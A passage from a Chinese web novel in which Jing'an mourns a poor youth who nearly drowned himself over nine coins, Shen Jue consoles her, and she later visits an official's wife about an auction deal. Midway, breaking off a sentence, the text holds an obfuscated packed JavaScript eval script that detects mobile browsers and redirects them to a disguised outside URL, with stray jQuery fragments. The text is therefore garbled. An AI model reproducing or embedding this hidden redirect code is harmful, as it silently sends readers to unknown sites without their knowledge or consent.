“少爷，靠谱吗？”阿洲将沈珏拉到一边，悄声问道。


    “现在店主是？张德？你让他考察一下，先负责店面的闲散活计，不用接触其他，反正散活总需要人做。”


    “是。”


    似乎是因为阿洲一直在一旁等着，大阳吃得稍微快了些，几杯茶下肚，半袋包子便被消灭干净了。


    “走吧，我带你过去看看。”阿洲上前想拉起他。


    但大阳似乎有些担忧：“万一他们不需要长工。”


    “先去看看，新店开业，怎么也需要人搭把手，你先跟着这位大哥瞧瞧去。”沈珏将他扶起来，安慰道。


    也许是沈珏面善，大阳很信任他，跟着阿洲离开了。


    静安将药店开的几副药塞进大阳手中，叮嘱他每晚服用一次。


    沈珏结完账后便看见静安靠在门口，看着他们俩远去的身影。


    直觉告诉沈珏，静安现在的情绪不对。


    “怎么了？还在担心吗？”沈珏上前，替静安整理好衣领。


    “大夫怎么说，他和你都没事吧。”


    “我怎么可能会有事，嘿嘿。”


    “不过那孩子，脾气虚弱，气血生化不足，无力。我特地问大夫要了一个月的药量，够他喝的。”


    静安点点头，拍卖会应该早都结束了，静安要赶去收尾，抬脚往秋来阁走去。


    沈珏想让静安休息一下，但她像陀螺一样，送完客人后又一遍一遍对今天的收支，将孙汝知的交易文书起草出来，准备明天送往官府盖章。


    就这样一直忙到天色渐暗，沈珏上前制止：“我来，你去休息，饭菜已经做好了。”


    静安抬头，正好对上沈珏关切的眼神，从刚刚开始，有个东西，一直堵在静安心口，摸不到，但很重。


    于是乎，静安鬼使神差地问了一句：“九文钱，可以买一条人命吗。”


    沈珏没有诧异，也没有掩饰，他轻声道：“穷人可以。”


    静安认同似的点了点头：“是啊，孙大人的命，可值五千万两白银。”


    沈珏不知怎么回答，只是将静安手中的算盘与笔拿走，想让她稍微休息一下。


    “以前，我同阿洲一样，觉得人命比钱财更重，活生生的性命，怎么能用钱来衡量。”


    “但后来我发现，十两可以买一个农妇的肚子，五十两可以买一个女孩的身体，三千两能买一个花魁，现在，九文钱能买一个孩子的性命。”


    静安的声音有些哽咽，但表情还是笑着的。


    沈珏没有说话，只是坐在她身边，让静安靠在自己身上。


    “我根本不用问他为何因为九文钱跳河，因为我能理解，穷人的尊严，无关生命。”


    “他第一次来城中，不知郊外有农家可以借宿；他没见过旅馆，第一次紧张给错了钱。”


    “他不知道去哪里务工，街上人来人往，没有他的落脚之处；他不能回家，回家面对的是贫苦的母亲，失踪的姐姐，负罪感像会像蟒蛇，将他缠绕窒息。”


    “长期的胆怯让他无法向人开口求助，此时店家多收的九文钱，便是他的全部。”


    “有人嘲笑贱民唯唯诺诺，可名为贫穷的无底洞会掏空人所有的底气，胆怯、懦弱、贱民不理解万千世界、不通书法经论……是啊，当被一文钱压得直不起身子时，生命的稻草就变得何其微弱。”


    静安望着天边最后一丝光亮，嘲讽般地闭上眼睛：“然后呢，然后一个小小的总督贪墨的白银多达五千万两，还不算田宅地契和商铺。”


    静安似乎在思考自己忙碌的意义，为他们洗钱，最终流回沈家，助力沈家问鼎中原，这些，真的有意义吗？


    “贵族一掷千金，只为开心，穷人费尽心思，磕磕绊绊，尚且不能活着。只要你有钱，哪怕是当世大儒，都能辱没自己毕生所学，为你所用。”


    “沈珏，你告诉我，这是什么道理？”


    沈珏放下手中的东西，将她轻轻拥抱在怀中：“安安，这世上有很多苦难，有些是阶段性的。”


    “而有些，好似愚公移山，不在一朝一夕，而是需要尔等共同努力，才能看到希望。千百年来的贫苦，不是斩杀一个恶徒，覆灭一个王朝那么简单。”


    沈珏温柔地摸着静安的头，“你走上这条路，原因很多，结果也会有很多，但无论是哪条，都不是在助纣为虐。相信我，好吗？”


    “我曾见过战争的苦痛，也知道朱门前冻死骨，我理解九文钱是一个少年的全部，也知道挥金如土并非虚妄。”


    “这些并非燕国有，辽国，甚至前朝，在等级与阶层存在的时刻，屡见不鲜。”


    “我说这些，并非是宣扬为未来无望，抑或彻头彻尾的悲观，相反，我希望你，充满希望。”


    静安喃喃道：“希望？”


    “解决这些，不能心急，更不能盲目，我们要做的，首先是将眼下能解决的问题解决了。”


    “只要我们走在正确的方向，哪怕找错了路，也没关系。”


    “因为我们可以相信，相信后世会有人能找到，我们可以希望，希望这些终将会被解决。”


    “所以，不要一直责怪自己好吗？”沈珏低声询问。


    静安的底色过于善良，她习惯照顾所有人，会第一时间站在对方的角度考虑，她对所有的苦难感同身受。


    这些都没错，但很可惜，静安本身就是在忽视与不安中长大的孩子。


    父亲像一座大山，掏空了她儿时健全的人格。


    她敏感脆弱，偏偏又极其聪慧，在残忍的本质中，她选择压力自己，让悲伤否定自己从她心口涌出。


    此时的静安，需要一个坚定的人，坚定地站在她身旁，直到她能治愈自己人生的伤疤。


    沈珏站在她身后，轻轻地抱住她，告诉她：“慢慢来，没事的。”


    晚风从窗口吹入，吹散了静安脸上的热气，她情绪平复了些，沈珏在她额头上轻轻落下一吻，试探问道：“饿不饿？”


    静安点头，沈珏看她情绪稍微缓和了些，便吩咐人将饭菜端上来。


    静安看着满桌都是自己爱吃的，心情瞬间好了大半。


    沈珏将小排骨放进静安碗中：“新来的厨子可能没有常叔做得好吃，你若不喜，我再找一个。”


    静安突然意识到常叔已经离开很久了，但沈珏好似有读心术，立刻补充：“他回本家是好事，比吴州安全，待到了江南便会给咱们来信，放心。”


    静安放下筷子，沈珏以为，她还在为刚刚的少年担心，安慰道：“没事的，阿洲说那个孩子已经在新店帮工了，每月一两银子，吃住都在店里后院。至于那个黑店老板……”


    但沈珏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436673|182973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好似也没什么好办法，最后憋出来一句：“他会有报应的。”


    静安扑哧一笑：“你也信神佛吗？”


    “信啊，怎么不信，我行得正坐得端，安安不信吗？”


    静安抬头看着月亮，喃喃自语：“信吧，有时候，神明比灵丹妙药强多了。”


    两人用完晚膳，沈珏在一旁沏茶，静安还是那副眉头紧锁的样子，突然，她对着沈珏道：“等咱们的地位再稳固些，我打算行动。”


    “什么？”沈珏放下茶盏，仔细听着。


    “先将西山庄子，毁了。”


    “你打算怎么做？”


    静安脸上浮现一丝纠结：“办法很多，但如果，如果我们能和起义军合作，倒是不用麻烦。”


    “我觉得现在不是最好的时机，秋来阁的地位还未稳定。”


    静安表示理解：“钱行舟明天约我去喝茶，线人来报，说凉州知府已经到吴州了，只怕是钱大人为我寻的新客。”


    “孙汝知那里有什么动静吗？”


    “钱行舟介绍客人给我，是贪图我给他的回扣，但孙汝知不是缺钱的人，想靠着他打入京城的权贵，我们需要等一个好机会。”


    “什么？”


    “等今年税收，税收过后地方肯定要向朝廷的官员表心意。孙汝知能不能调回京城，就看他这次礼物送得合不合心意了。”


    静安陷入思考，似乎已经替孙汝知规划上了。


    静安这边绞尽脑汁，另一边孙汝知的夫人突然邀请自己去喝茶。


    自己与孙汝知目前只做了一次生意，算不得信任，如今这是？


    静安自知与孙汝知交情过浅，他夫人为何突然约见自己？


    静安来不及思考，夫人是女眷，静安将阿洲留在门外，独自一人进了孙府后宅。


    到了府中，静安便被带到一处凉亭，远远望去，有位妇人坐在凉亭中沏茶，静安走上前恭敬地行礼：“草民萧安，拜见夫人。”


    孙夫人淡淡扫了静安一眼，不知是确认了什么，好半晌才笑着开口：“客气什么，快起来。”


    静安道了谢，起身低头，恭敬地站在一旁，她实在不知对面的人到底在打什么主意。


    “我姓苏，萧小姐切莫生分，叫我姐姐就行。”


    本着敌不动我不动的原则，静安选择以退为进：“苏夫人好，百闻不如一见，都说孙大人家中贤妻温柔美丽，今日所见，才知传闻还是谦虚了。”


    伸手不打笑脸人，苏夫人到底笑着接了静安的话：“萧姑娘真会说话，怪不得我家老孙愿意同你做生意。”


    “这次叫你来啊，没别的事情，只是上次家中下人突然清点我的嫁妆，说是你秋来阁的人，我正想过来问问怎么回事情。”


    静安心里犯怵，什么情况，孙汝知没跟他老婆说吗？


    况且，按沈珏的说法，他根本没动苏夫人的嫁妆啊？这苏夫人在打什么主意？


    静安保持着得体的微笑：“哎哟，这可真是，一定是我手下人没说清楚，让夫人误会了。”


    “草民有什么能耐和孙大人牵上线啊，是孙大人慧眼识珠，有几幅丹青很受市场追捧。”


    “我们拍卖行正好需要这些名家作品来撑场面，于是便求孙大人割爱。画作实乃名家上品，在拍卖中被一抢而空，连孙大人本人都没预料到呢。”